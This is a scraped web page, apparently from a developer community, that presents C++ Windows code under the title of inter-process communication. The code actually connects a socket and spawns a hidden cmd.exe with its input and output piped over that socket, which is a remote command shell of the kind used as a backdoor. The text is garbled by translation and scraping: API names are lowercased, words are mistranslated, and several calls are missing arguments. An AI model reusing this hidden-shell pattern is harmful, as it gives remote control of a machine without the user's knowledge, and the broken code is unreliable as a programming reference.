Dual-pipeline for inter-process communication

Source: Internet
Author: User
# Include <windows. h> # include <process. h> # include <tchar. h> # pragma comment (Lib, "ws2_32.lib") socket hsock = invalid_socket; handle hreadpipe1 = NULL; handle hwritepipe1 = NULL; handle hreadpipe2 = NULL; handle hwritepipe2 = NULL; handle hreadthread = NULL; handle hwritethread = NULL; bool bisrun = true; startupinfo startinfo = {0}; process_information Pi = {0}; bool socket_select (socket hsock, bool bread = true) {fd_set fdset; fd_zero (& Fdset); fd_set (hsock, & fdset); timeval. TV _sec = 1; timeval. TV _usec = 0; int iret = 0; If (bread) iret = select (null, & fdset, null, null, & timeval); elseiret = select (null, null, & fdset, null, & timeval); If (iret <= 0) return false; else if (fd_isset (hsock, & fdset) return true; return false ;} unsigned winapi writepipeproc (lpvoid lpparameter) {While (bisrun) {If (socket_select (hsock) {char * pread = new char [1024]; memset (pre AD,); DWORD dwbyteswritten = 0; int iret = Recv (hsock, pread,); If (iret> 0) {If (! Writefile (hwritepipe1, pread, iret, & dwbyteswritten, null) {Delete [] pread; Return-1 ;}} else {Delete [] pread; bisrun = false; return-1 ;}}return 0 ;}unsigned winapi readpipeproc (lpvoid lpparameter) {DWORD distance = 0; DWORD dwnumbytesread = 0; while (bisrun) {If (peeknamedpipe (hreadpipe2, null, 0, null, & dwtotalbytesavail, null) {char * preadbuf = new char [512]; memset (preadbuf, 0,512); If (dwtotalbytesavail> 0 & readfi Le (hreadpipe2, preadbuf, 512, & dwnumbytesread, null) {If (socket_select (hsock, false) {If (send (hsock, (char *) preadbuf, dwnumbytesread, 0) = socket_error) {bisrun = false; Delete [] preadbuf;} else {Delete [] preadbuf ;}} else {Delete [] preadbuf; // For peeknamedpipe, you know }}return 0;} int _ tmain (INT argc, _ tchar * argv []) {wsadata; if (wsastartup (makeword (2, 2), & wsadata) Return-1; if (hibyte (wsadata. wversion )! = 2 | lobyte (wsadata. wversion )! = 2) {wsacleanup (); Return-1;} hsock = socket (af_inet, sock_stream, ipproto_tcp); If (hsock = invalid_socket) {wsacleanup (); return-1;} sockaddr_in sockaddr; sockaddr. sin_family = af_inet; sockaddr. sin_addr.s_un.s_addr = inet_addr ("127.0.0.1"); sockaddr. sin_port = htons (9999) ;__ try {If (connect (hsock, (sockaddr *) & sockaddr, sizeof (sockaddr) _ leave; security_attributes SA; SA. binherithandle = true; SA. lpsecuritydescriptor = NULL; SA. nlength = sizeof (security_attributes); If (! Createpipe (& hreadpipe1, & hwritepipe1, & SA, 0) _ leave; if (! Createpipe (& hreadpipe2, & hwritepipe2, & SA, 0) _ leave; tchar export path [max_path] = {0}; getsystemdirectory (export path, max_path); lstrcat (export path, _ T ("\ cmd.exe"); startinfo. CB = sizeof (startupinfo); startinfo. dwflags = startf_useshowwindow | startf_usestdhandles; startinfo. hstdinput = hreadpipe1; startinfo. hstdoutput = startinfo. hstderror = hwritepipe2; startinfo. wshowwindow = sw_hide; startinfo. lpdesktop = _ T ("winsta0 \ default "); If (! CreateProcess (export path, null, true, 0, null, null, & startinfo, & PI) _ leave; hwritethread = (handle) _ beginthreadex (null, null, writepipeproc, null, 0, null); If (! Hwritethread) {bisrun = false ;__ leave;} hreadthread = (handle) _ beginthreadex (null, null, readpipeproc, null, 0, null); If (! Hreadthread) {bisrun = false ;__ leave;} Handle handles [] = {hreadthread, hwritethread}; waitformultipleobjects (2, handles, true, infinite );} __finally {If (hreadpipe1! = NULL) closehandle (hreadpipe1); If (hreadpipe2! = NULL) closehandle (hreadpipe2); If (hwritepipe1! = NULL) closehandle (hwritepipe1); If (hwritepipe2! = NULL) closehandle (hwritepipe2); If (PI. hprocess! = NULL) closehandle (PI. hprocess); If (PI. hthread! = NULL) closehandle (PI. hthread); If (hreadthread! = NULL) closehandle (hwritethread); If (hwritethread! = NULL) closehandle (hreadthread); closesocket (hsock); wsacleanup () ;}return 0 ;}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.